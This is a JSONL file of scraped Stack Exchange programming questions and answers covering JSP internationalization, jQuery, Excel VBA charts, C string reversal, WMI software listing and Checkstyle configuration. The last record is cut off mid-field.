{"id": "hf_6ae9e18a57c1", "question": "<p>Are there any tools to assist with the internationalization of Strings within JSP files?</p>\n\n<p>Most IDEs (for example, <a href=\"http://www.netbeans.org\" rel=\"nofollow noreferrer\">NetBeans</a>) offer such a feature for Java code. However, in the case of NetBeans, no such feature exists for JSP files.</p>\n\n<p>With <a href=\"http://www.gnu.org/software/gettext/\" rel=\"nofollow noreferrer\">gettext</a>, for example, there is are various tools out there that assist with extracting text Strings from code. Something similar for JSP would be great!</p>\n", "question_body": "", "answer": "I found this as a\nworkaround solution\nto this problem. Its far from ideal, but allows you to search all Strings with an IDE. Paraphrashing the solution:\nJSPs compile to servlets, so find the corresponding servlet class for each JSP on your file system. In the case of Tomcat this would be the 'work' directory.\nImport the associated servlet .java file into the IDE, and then use the IDE's regular internationalization tool:\nExternalize strings...\n(Eclipse) /\nInternationalization wizard\n(NetBeans).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.704052"}
{"id": "hf_64578cee6fed", "question": "<p>How do I go about doing this with jQuery?</p>\n\n<p>Basically the structure:</p>\n\n<pre><code>&lt;form id=\"myForm\"&gt;\n  &lt;iframe&gt;\n    &lt;!-- Normal HTML headers omitted --&gt;\n    &lt;input type=radio name=\"myRadio\" value=1&gt;First\n    &lt;input type=radio name=\"myRadio\" value=2&gt;Second\n    &lt;input type=radio name=\"myRadio\" value=3&gt;Third\n  &lt;/iframe&gt;\n  &lt;input type=button value=\"Submit\" /&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p>I tried various examples from the net such as </p>\n\n<pre><code>$(\"input[@type=radio][@checked]\");\n</code></pre>\n\n<p>But failed. Even with jQuery form plugin's <a href=\"http://malsup.com/jquery/form/#fields\" rel=\"nofollow noreferrer\">.fieldValue()</a> failed.</p>\n", "question_body": "", "answer": "Try\n```\n$('#myForm iframe').contents().find('input[name=myradio]').val()\n```\nI'll assume that the iframe contents have already been loaded and are accessible e.g same domain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.727944"}
{"id": "hf_9f1638094ad3", "question": "<p>Is there a way to tell the debugger to stop just before returning, on whichever statement exits from the method, be it return, exception, or fall out the bottom? I am inspired by the fact that the Java editor shows me all the places that my method <em>can</em> exit - it highlights them when you click on the return type of the method declaration, (Mark Occurrences enabled).</p>\n\n<p>[eclipse 3.4]</p>\n", "question_body": "", "answer": "Good question. Off the top of my head, I'd do this:\n```\n```\npublic void method(Object stuff) {\n    try {\n        /* normal code */\n    } finally {\n        int x = 0;\n    }\n}\n```\n```\nYou can set the breakpoint on the x = 0 line, and it will ALWAYS be executed no matter where you return. Even with an exception being thrown, it will be run.\nThe catch to this is scope. Unless you define variables outside of the try block, you won't be able to see their values where you get to the finally block since they will have exited scope.\nHaving to just place 5 breakpoints (one for each return statement, whatever) may work best.\nI hope there is a better way, I'd love to know it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.763260"}
{"id": "hf_241e17976b26", "question": "<p>I've got a spreadsheet with plenty of graphs in it and one sheet with loads of data feeding those graphs.</p>\n\n<p>I've plotted the data on each graph using </p>\n\n<pre><code>=Sheet1!$C5:$C$3000\n</code></pre>\n\n<p>This basically just plots the values in C5 to C3000 on a graph.</p>\n\n<p>Regularly though I just want to look at a subset of the data i.e. I might just want to look at the first 1000 rows for example. Currently to do this I have to modify the formula in each of my graphs which takes time.</p>\n\n<p>Would you know a way to simplify this? Ideally if I could just have a cell on single sheet that it reads in the row number from and plots all the graphs from C5 to C 'row number' would be best.</p>\n\n<p>Any help would be much appreciated.</p>\n", "question_body": "", "answer": "You can set the range for a chart dynamically in Excel. You can use something like the following VBA code to do it:\n```\n```\nPrivate Sub Worksheet_Change(ByVal Target as Range)\n    Select Case Target \n    Case Cells(14, 2)\n        Sheet1.ChartObjects(1).Chart.SetSourceData Range(\"$C5:$C$\" & Cells(14,2))\n    ...\n    End Select\nEnd Sub\n```\n```\nIn this case, the cell containing the number of the last row to include is B14 (remember row first when referring to the Cells object). You could also use a variable instead of the Cells reference if you wanted to do this entirely in code. (This works in both 2007 and 2003.) You can assign this procedure to a button and click it to refresh your chart once you update the cell containing the last row.\nHowever, this may not be precisely what you want to do ... I am not aware of a way to use a formula directly within a chart to specify source data.\nEdit:\nAnd as PConroy points out in a comment, you could put this code in the Change event for that worksheet, so that neither a button nor a key combination is necessary to run the code. You can also add code so that it updates each chart only when the matching cell is edited.\nI've updated the example above to reflect this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.787059"}
{"id": "hf_af9c8639fb9c", "question": "<p>Can anyone suggest a tutorial or sample code that implements a nested set (or similar ordered tree structure) with associated Javascript that facilitates drag and drop? I'm looking for both the display code (view) as well as the AJAX backend controller which writes the tree to the database on change.</p>\n\n<p>I want it to represent a multi-layer menu where the ordering and depth of items is important.</p>\n", "question_body": "", "answer": "Something like this you really don't wanna be slapping a jquery plugin for. If you can't find anything out there it's time to make yourself an espresso and dive right into the code yourself :)\nUse other -- more mature -- code out there as a sample point, but write it yourself and it will really suit your project the best. Looking for front-end and back-end code together is real tough too... unless you want something from a blog post that might be titled something like \"30 jquery plugins to AJAXify your website\" and you want crap PHP code. (In this case it appears that you want RoR)\nThis might not be of much assistance to you, but it's what I would do.\nI'm particularly anti-jquery-plugins anyway... even if it does the job you want. A lot of that code is bloat. Plus I tend not to trust other people :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.810868"}
{"id": "hf_087137b7091e", "question": "<p>I'd like to show a div that has a background-color with the height and width set to 100% but no content. Is it possible to do that without putting a &amp;nbsp; inside?</p>\n\n<p>Edit: Thanks to Mark Biek for pointing out that empty div with width and height styles shows how I'd expect. My div is in a table cell, where it does not show.</p>\n\n<pre><code>&lt;table style=\"width:100%\"&gt;\n&lt;tr&gt;\n&lt;th&gt;Header&lt;/th&gt;\n&lt;td&gt;&lt;div id=\"foo\"&gt;&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/table&gt;\n</code></pre>\n", "question_body": "", "answer": "This seems to work in Firefox, Safari, IE6, & IE7.\n```\n```\n<html>\n    <head>\n        <style>\n            #foo{\n                background:  #ff0000;\n                width:  100%;\n                height:  100%;\n                border:  2px dashed black;\n            }\n        </style>\n    </head>\n    <body onload=\"\">\n        <div id=\"foo\"></div>\n    </body>\n</html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.875700"}
{"id": "hf_233e767d46e8", "question": "<p>Greetings!</p>\n\n<p>I am trying to check directory write-permissions from within a Windows MFC/ATL program using C++. My first guess is to use the C-standard _access function, e.g.:</p>\n\n<pre><code>if (_access(\"C:\\mydir\", 2) == -1)\n   // Directory is not writable.\n</code></pre>\n\n<p>But apparently on Windows 2000 and XP, _access can't determine directory permissions. (i.e. the Security tab in the Properties dialog when you right-click on a directory in Explorer) So, is there an elegant way to determine a directory's write-permissions in Windows 2000/XP using any of the Windows C++ libraries? If so, how?</p>\n\n<p>Thanks</p>\n\n<p>Evan</p>\n", "question_body": "", "answer": "Use sec api.\nYou can ask on Adv. Win32 api newsgroup :\nnews://194.177.96.26/comp.os.ms-windows.programmer.win32\nwhere it has often been discussed (C/C++ code)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.929055"}
{"id": "hf_e25283c62e79", "question": "<p>Does anyone know a good resource to concisely explain the different types of lists available in C# and when their usage is appropriate?</p>\n\n<p>For example, List, Hashtable, Dictionaries etc.</p>\n\n<p>I'm never quite sure when I should be using what.</p>\n", "question_body": "", "answer": "If you start at the\nMSDN doco for System.Collections\n, you can drill down into the individual collection types for more details about those \"lists\" and how to use them. For example, the doco for\n```\nHashtable\n```\nsays, \"Represents a collection of key/value pairs that are organized based on the hash code of the key.\"\nThere's also a nice discussion of System.Collections.Generic in\nUnderstanding Generics\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.955163"}
{"id": "hf_c4647beebb30", "question": "<p>How to find out size of session in ASP.NET from web application?</p>\n", "question_body": "", "answer": "I think you can find that information by adding\nTrace=\"true\"\nto the page directive of a aspx page. Then when the page loads you can see a large number of details regarding the page request, including session information i think.\nYou can also enable tracing in your entire application by adding a line to your web.config file. Something like:\n```\n```\n<trace enabled=\"true\" requestLimit=\"10\" pageOutput=\"true\" traceMode=\"SortByTime\" \n localOnly=\"true\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:38.983042"}
{"id": "hf_5ad27424437f", "question": "<p>\nWe recently switched our Windows software packages from RPM (cygwin) to MSI (wix). Having a native packaging is a much welcome change and we intend to stick with it. However, MSI feels overly complicated for what it does and doesn't seem to provide some basic abilities. But I'm probably mistaken.\n</p>\n<p>\nIs there a way to list all installed MSI from the command line ?\n</p>\n", "question_body": "", "answer": "Mabybe\nthis\nis a good starting point for you example VB Script from MSDN:\n```\n```\nstrComputer = \".\"\n\nSet objWMIService = GetObject(\"winmgmts:\" & _\n    \"{impersonationLevel=impersonate}!\\\\\" & _\n    strComputer & _\n    \"\\root\\cimv2\")\n\nSet colSoftware = objWMIService.ExecQuery _\n    (\"SELECT * FROM Win32_Product\")   \n\nIf colSoftware.Count > 0 Then\n\n    Set objFSO = CreateObject(\"Scripting.FileSystemObject\")\n    Set objTextFile = objFSO.CreateTextFile( _\n        \"c:\\SoftwareList.txt\", True)\n\n    For Each objSoftware in colSoftware\n        objTextFile.WriteLine objSoftware.Caption & vbtab & _\n        objSoftware.Version\n    Next\n\n    objTextFile.Close\n\nElse\n    WScript.Echo \"Cannot retrieve software from this computer.\"\n\nEnd If\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.007439"}
{"id": "hf_b347f4ff2d81", "question": "<p>I have a server written in Java that runs as a Windows service (thanks to Install4J).  I want this service to be able to download the latest version of the JAR file it runs from, and start running the new code.  The stitch is that I don't want the Windows service to fully exit.</p>\n\n<p>Ideally, I would accomplish this by a unix-style exec() call to stop the current version and run the new one.  How can I best accomplish this?</p>\n", "question_body": "", "answer": "As far as I know, there is no way to do this in Java.\nI suppose you could work around it by using the Java\n```\nRuntime.exec\n```\nor\n```\nProcessBuilder\n```\n's start() command (which start new processes) then letting the current one end... the docs state\nThe subprocess is not killed when\n  there are no more references to the\n  Process object, but rather the\n  subprocess continues executing\n  asynchronously.\nI'm assuming the same is true if the parent finishes and is garbage collected.\nThe catch is Runtime.exec's process will no longer have valid in, out, and err streams.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.084769"}
{"id": "hf_ede176529e0c", "question": "<p>Inside a service, what is the best way to determine a special folder path (e.g., &quot;My Documents&quot;) for a specific user? <code>SHGetFolderPath</code> allows you to pass in a token, so I am assuming there is some way to impersonate the user whose folder you are interested in.</p>\n<p>Is there a way to do this based just on a username? If not, what is the minimum amount of information you need for the user account? I would rather not have to require the user's password.</p>\n<p>(Here is a <a href=\"https://stackoverflow.com/questions/131716/get-csidllocalappdata-path-for-any-user-on-windows\">related question</a>.)</p>\n", "question_body": "", "answer": "This information is stored in the registry in the key \"HKEY_USERS\\S-1-5-21-616815238-485949776-2992451252-3228\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\".\nThe \"S-1-5-21-616815238-485949776-2992451252-3218\" is the GUID of the user. You need to get this GUID to find the corresponding key and read it.\nIn\nthis\nexample they use SHGetFolderPath function you mention and there is a list with all special folders which might be helpful.\nNOTE:\nMicrosoft discourages to use the registry key, since it is still there just for backward compatibility", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.108980"}
{"id": "hf_dafb5de83413", "question": "<p>Which is faster?  someCondition has the same probability of being true as it has of being false.</p>\n\n<p>Insertion:</p>\n\n<pre><code>arrayList = Array(\"apple\", \"pear\",\"grape\")\nif someCondition then\n    ' insert \"banana\" element\nend if\n</code></pre>\n\n<p>Deletion:</p>\n\n<pre><code>arrayList = Array(\"apple\",\"banana\",\"pear\",\"grape\")\nif not someCondition then\n    ' remove \"banana\" element\nend if\n</code></pre>\n\n<p>It looks like it depends purely on the implementation of Insert and Remove.  So which, in general, is faster?  I'm leaning toward insertion because I've read that one can use CopyMemory to insert without looping.  Is this the same for deletion?  Does anyone have an example?</p>\n\n<p>Edit:\nThis is VB6, not VB.NET.\nFor display reasons, I have to use insert rather than append.</p>\n", "question_body": "", "answer": "I've found an example showing that one can delete without looping as well.  It looks simpler than the code to insert.\n```\n```\nPublic Sub RemoveArrayElement_Str(AryVar() As String, ByVal _\n    RemoveWhich As Long)\n    '// The size of the array elements\n    '// In the case of string arrays, they are\n    '// simply 32 bit pointers to BSTR's.\n    Dim byteLen As Byte\n\n    '// String pointers are 4 bytes\n    byteLen = 4\n\n    '// The copymemory operation is not necessary unless\n    '// we are working with an array element that is not\n    '// at the end of the array\n    If RemoveWhich < UBound(AryVar) Then\n        '// Copy the block of string pointers starting at\n        ' the position after the\n        '// removed item back one spot.\n        CopyMemory ByVal VarPtr(AryVar(RemoveWhich)), ByVal _\n            VarPtr(AryVar(RemoveWhich + 1)), (byteLen) * _\n            (UBound(AryVar) - RemoveWhich)\n    End If\n\n    '// If we are removing the last array element\n    '// just deinitialize the array\n    '// otherwise chop the array down by one.\n    If UBound(AryVar) = LBound(AryVar) Then\n        Erase AryVar\n    Else\n        ReDim Preserve AryVar(UBound(AryVar) - 1)\n    End If\nEnd Sub\n```\n```\nhttp://www.vb-helper.com/howto_delete_from_array.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.146105"}
{"id": "hf_3ee71037042a", "question": "<p>I have a postgres table. I need to delete some data from it. I was going to create a temporary table, copy the data in, recreate the indexes and the delete the rows I need. I can't delete data from the original table, because this original table is the source of data. In one case I need to get some results that depends on deleting X, in another case, I'll need to delete Y. So I need all the original data to always be around and available.</p>\n\n<p>However it seems a bit silly to recreate the table and copy it again and recreate the indexes. Is there anyway in postgres to tell it \"I want a complete separate copy of this table, including structure, data and indexes\"?</p>\n\n<p>Unfortunately PostgreSQL does not have a \"CREATE TABLE .. LIKE X INCLUDING INDEXES'</p>\n", "question_body": "", "answer": "Create a new table using a select to grab the data you want.  Then swap the old table with the new one.\n```\n```\ncreate table mynewone as select * from myoldone where ...\nmess (re-create) with indexes after the table swap.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.170562"}
{"id": "hf_66fd3e2aa33f", "question": "<pre><code>&lt;html&gt;\n    &lt;head&gt;\n        &lt;style type=\"text/css\"&gt;\n            div {\n                border:1px solid #000;\n                min-width: 50%;\n            }\n        &lt;/style&gt;\n    &lt;/head&gt;\n    &lt;body&gt;\n        &lt;div&gt;This is some text. &lt;/div&gt;\n    &lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n\n<p>I believe the div should be 50 percent of the page, unless, for some reason, the text inside the div makes it larger. However, the border around the div stretches across the entire page width. This occurs in both IE and Firefox.</p>\n\n<p>Suggestions?</p>\n", "question_body": "", "answer": "If you provide\n```\nabsolute\n```\npositioning to the element, it will be\n```\n50%\n```\nin Firefox.  However, IE doesn't like the\n```\nmin-width\n```\nor\n```\nmin-height\n```\nattributes, so you will have to define width as\n```\n50%\n```\nalso for it to work in IE.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.193901"}
{"id": "hf_f62ec94c2bfa", "question": "<p>I'm trying to verify if a schema matches the objects I'm initializing.</p>\n\n<p>Is there a way to get the TableName of a class other than simply reflecting the class name?</p>\n\n<p>I am using some class with explicit TableNames</p>\n\n<p>Edit: using Joe's solution I added the case where you don't specify the table name, it could probably use a constraint</p>\n\n<pre><code>public string find_table_name(object obj)\n{\n        object[] attribs = obj.GetType().GetCustomAttributes(typeof(Castle.ActiveRecord.ActiveRecordAttribute), false);\n\n        if (attribs != null)\n        {\n            ActiveRecordAttribute attrib = (Castle.ActiveRecord.ActiveRecordAttribute) attribs[0];\n            if (attrib.Table != null)\n                return attrib.Table;\n            return obj.GetType().Name;\n        }\n    return null;\n}\n</code></pre>\n", "question_body": "", "answer": "If you have something like the following:\n```\n```\n[ActiveRecord(Table = \"NewsMaster\")]\npublic class Article\n{\n    [PrimaryKey(Generator = PrimaryKeyType.Identity)]\n    public int NewsId { get; set; }\n\n    [Property(Column = \"NewsHeadline\")]\n    public string Headline { get; set; }\n\n    [Property(Column = \"EffectiveStartDate\")]\n    public DateTime StartDate { get; set; }\n\n    [Property(Column = \"EffectiveEndDate\")]\n    public DateTime EndDate { get; set; }\n\n    [Property]\n    public string NewsBlurb { get; set; }\n}\n```\n```\nThis will get you the table name:\n```\n```\n[Test]\n    public void Can_get_table_name()\n    {\n        var attribs = typeof(Article).GetCustomAttributes(typeof(Castle.ActiveRecord.ActiveRecordAttribute), false);\n\n        if (attribs != null)\n        {\n            var attrib = (Castle.ActiveRecord.ActiveRecordAttribute) attribs[0];\n            Assert.AreEqual(\"NewsMaster\", attrib.Table);\n        }\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.230784"}
{"id": "hf_f871050d0203", "question": "<p>I'm curious to know how people are using table aliases.  The other developers where I work always use table aliases, and always use the alias of a, b, c, etc.</p>\n\n<p>Here's an example:</p>\n\n<pre><code>SELECT a.TripNum, b.SegmentNum, b.StopNum, b.ArrivalTime\nFROM Trip a, Segment b\nWHERE a.TripNum = b.TripNum\n</code></pre>\n\n<p>I disagree with them, and think table aliases should be use more sparingly.  </p>\n\n<p>I think they should be used when including the same table twice in a query, or when the table name is very long and using a shorter name in the query will make the query easier to read.  </p>\n\n<p>I also think the alias should be a descriptive name rather than just a letter.  In the above example, if I felt I needed to use 1 letter table alias I would use t for the Trip table and s for the segment table.</p>\n", "question_body": "", "answer": "I feel that you should use them as often as possible but I do agree that t & s represent the entities better than a & b.\nThis boils down to, like everything else, preferences.  I like that you can depend on your stored procedures following the same conventions when each developer uses the alias in the same manner.\nGo convince your coworkers to get on the same page as you or this is all worthless.  The alternative is you could have a table Zebra as first table and alias it as a.  That would just be cute.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.297531"}
{"id": "hf_bd3ae4375979", "question": "<p>How do you reverse a string in C or C++ without requiring a separate buffer to hold the reversed string?</p>\n", "question_body": "", "answer": "```\n```\n#include <cstdio>\n#include <cstdlib>\n#include <string>\n\nvoid strrev(char *str)\n{\n        if( str == NULL )\n                return;\n\n        char *end_ptr = &str[strlen(str) - 1];\n        char temp;\n        while( end_ptr > str )\n        {\n                temp = *str;\n                *str++ = *end_ptr;\n                *end_ptr-- = temp;\n        }\n}\n\nint main(int argc, char *argv[])\n{\n        char buffer[32];\n\n        strcpy(buffer, \"testing\");\n        strrev(buffer);\n        printf(\"%s\\n\", buffer);\n\n        strcpy(buffer, \"a\");\n        strrev(buffer);\n        printf(\"%s\\n\", buffer);\n\n        strcpy(buffer, \"abc\");\n        strrev(buffer);\n        printf(\"%s\\n\", buffer);\n\n        strcpy(buffer, \"\");\n        strrev(buffer);\n        printf(\"%s\\n\", buffer);\n\n        strrev(NULL);\n\n        return 0;\n}\n```\n```\nThis code produces this output:\n```\n```\ngnitset\na\ncba\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.341310"}
{"id": "hf_246e80e5e3d7", "question": "<pre><code>int main()\n{\n    HandPhone A,B;\n    A&gt;&gt;B;//overloading operator&gt;&gt; to simulate sending sms to another handphone(object)\n    return 0;\n}\n</code></pre>\n\n<p>How should I declare the istream operator to simulate sending sms to another handphone(object)?</p>\n", "question_body": "", "answer": "std::istream\nis a class, not an operator.  The << and >> operators can be defined for any two types:\n```\n```\nclass A;\nclass B;\n\nA operator << (A& a, const B& b)    // a << b;  sends b to a.\n{\n   a.sendMessage(b);\n   return a;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.367572"}
{"id": "hf_6b4fcbec01ed", "question": "<p>I'm trying to install the .Net framework version 2.0 on embedded Windows XP SP2 (aka XPE).</p>\n\n<p>I'm using the XPE specific version of the installer from Microsoft:</p>\n\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=c4837dad-5719-4b63-8752-cb0a65802329&amp;displaylang=en\" rel=\"nofollow noreferrer\">http://www.microsoft.com/downloads/details.aspx?familyid=c4837dad-5719-4b63-8752-cb0a65802329&amp;displaylang=en</a></p>\n\n<p>When the installation starts it fails with the following error:</p>\n\n<p>QFE Installer -- Error\nCannot connect to the database - please check the database</p>\n\n<p>How can I get .Net 2.0 installed on SPE?</p>\n", "question_body": "", "answer": "Okay, so you're running the installer that is updating your XPE development environment, right?  Or are you attempting to run that on a device before you seal it?\nYou need to run that installer on the workstation that has the XPE dev environment (and database) installed.  The installer is looking for a specific database on a specific instance of Sql Server, so if you have (or somebody else has) changed it, you'll need to read up on how to specify the connection string to use with the installer.\nIn addition, it's probably trying to connect using your windows account credentials.  Make sure you are able to log on to Sql Server, open the DB with the component definitions, and add records to it.  Alternatively, if you can specify the connection string you can set a Sql login username and password to use.\nProfiler is a great tool for troubleshooting the two issues described above.\nOnce you have the components installed, you'll have to add them to your image, check your dependencies and then build it.\nIf you're trying to just install .NET 2.0 on a machine directly (before you reseal it), you will need the packages for Windows Installer on the machine first.  There might be some other dependencies; I haven't done it in a long time so I can't remember.\nThe best way to troubleshoot dependencies on an XPE installation is to put ProcessMonitor from Sysinternals on it.  As you run the installer, you'll see where it attempts to find stuff and fails.  Take that information back to your XPE IDE and search your components for those files.  You then have to add the packages containing those files to your image and try again.  Its an arduous process sometimes..,.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.401759"}
{"id": "hf_4e2da819d503", "question": "<p>How can I make my window not have a title bar but appear in the task bar with some descriptive text?\nIf you set the Form's .Text property then .net gives it a title bar, which I don't want.</p>\n\n<pre><code>        this.ControlBox = false;\n        this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;\n        this.MaximizeBox = false;\n        this.MinimizeBox = false;\n        this.ShowInTaskbar = true;\n        this.Text = \"My title for task bar\";\n</code></pre>\n\n<p>I've found a partial solution, to override CreateParams: </p>\n\n<pre><code>    protected override System.Windows.Forms.CreateParams CreateParams\n    {\n        get\n        {\n            System.Windows.Forms.CreateParams cp = base.CreateParams;\n            cp.Style &amp;= ~0x00C00000; // WS_CAPTION\n            return cp;\n        }\n    }\n</code></pre>\n\n<p>However this causes my window to be resized as if they have a title bar, ie it's taller than it should be.  Is there any good solution to this?</p>\n", "question_body": "", "answer": "Just set the border style to None.\n```\n```\nthis.FormBorderStyle = FormBorderStyle.None;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.446858"}
{"id": "hf_1c56651af7d9", "question": "<p>I have a checkstyle suppression filter setup (e.g. ignore magic numbers in unit test code).</p>\n\n<p>The suppression xml file resides in the same folder as the checkstyle xml file. However, where this file actually is varies:\non my windows dev box it is in d:\\dev\\shared\\checkstyle\\config\non the Linux CI server it will be in /root/repo/shared/checkstyle/config\non another developers box it could be anywhere (they check out their svn repo to).</p>\n\n<p>The only \"consistent\" thing is that the suppression file is always in the same folder as the checkstyle xml file.\nI cannot work out how to ensure that this file is always consistently picked up. Also I don't know why checkstyle does not support embedded suppression within the checkstyle xml file.</p>\n\n<p>any help?</p>\n", "question_body": "", "answer": "I had this same problem with the Checkstyle suppression configuration when I was going back and forth between Linux and Windows. Here's how I solved it in my Ant-based build system:\nBasically, I inject the proper, platform-specific directory value into the main Checkstyle configuration file by configuring a Checkstyle properties file with an Ant build script.\nMy main Checkstyle configuration file has a\n```\nSuppressionFilter\n```\nmodule declaration as shown below. The value of the\n```\ncheckstyle-suppressions-file\n```\nproperty comes from a Checkstyle properties file:\n```\n```\n<module name=\"SuppressionFilter\">\n    <property name=\"file\" value=\"${checkstyle-suppressions-file}\"/>\n</module>\n```\n```\nThe Checkstyle properties file is not static, it is generated by an Ant build script from a properties file template called\n```\ntemplate-checkstyle.properties\n```\n. Here's what the template looks like for the suppressions file property:\n```\n```\ncheckstyle-suppressions-file=@SCM_DIR@/checkstyle_suppressions.xml\n```\n```\nMy Ant build script copies this file to a file named\n```\ncheckstyle.properties\n```\n. The copy has the special token replaced with the proper value of the directory in which the suppressions file is found:\n```\n```\n<copy file=\"${scm.dir}/template-checkstyle.properties\" tofile=\"${scm.dir}/checkstyle.properties\">\n    <filterset>\n        <filter token=\"SCM_DIR\" value=\"${scm.dir.unix}\"/>\n    </filterset>\n</copy>\n```\n```\nNow, where does the value of\n```\nscm.dir.unix\n```\ncome from? Well, it's\nderived\nfrom a property of my build, read on. You'll need to specify such a value with the directory values that you mentioned.\nNote that there is one slightly non-obvious issue concerning the way in which you specify this directory. I say that the\n```\nscm.dir.unix\n```\nvalue is derived from a build property because I observed that the main Checkstyle configuration file cannot contain backslashes, i.e. Windows path separator characters, in the value of the\n```\nfile\n```\nproperty of the\n```\nSuppressionFilter\n```\nmodule. For example, specifying something like\n```\nC:\\foo\\bar\\baz\n```\nleads to a Checkstyle error message saying that\n```\nC:foobarbaz\n```\ncannot be found. I work around this by \"converting\" the\n```\nscm.dir\n```\ndirectory build property to a \"unix\" format with Ant's\n```\npathconvert\n```\ntask:\n```\n```\n<pathconvert targetos=\"unix\" property=\"scm.dir.unix\">\n    <path location=\"${scm.dir}\"/>\n</pathconvert>\n```\n```\nThen I call the\n```\ncheckstyle\n```\nAnt task like this:\n```\n```\n<checkstyle config=\"${scm.dir}/checkstyle_checks.xml\"\n            properties=\"${scm.dir}/checkstyle.properties\">\n    <!-- details elided -->\n</checkstyle>\n```\n```\nThe call to the\n```\ncheckstyle\n```\ntask injects the key/value pairs contained in the\n```\ncheckstyle.properties\n```\nfile into the main Checkstyle configuration.\nIf you like, you can see the full scripts\nhere\nHope this helps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": 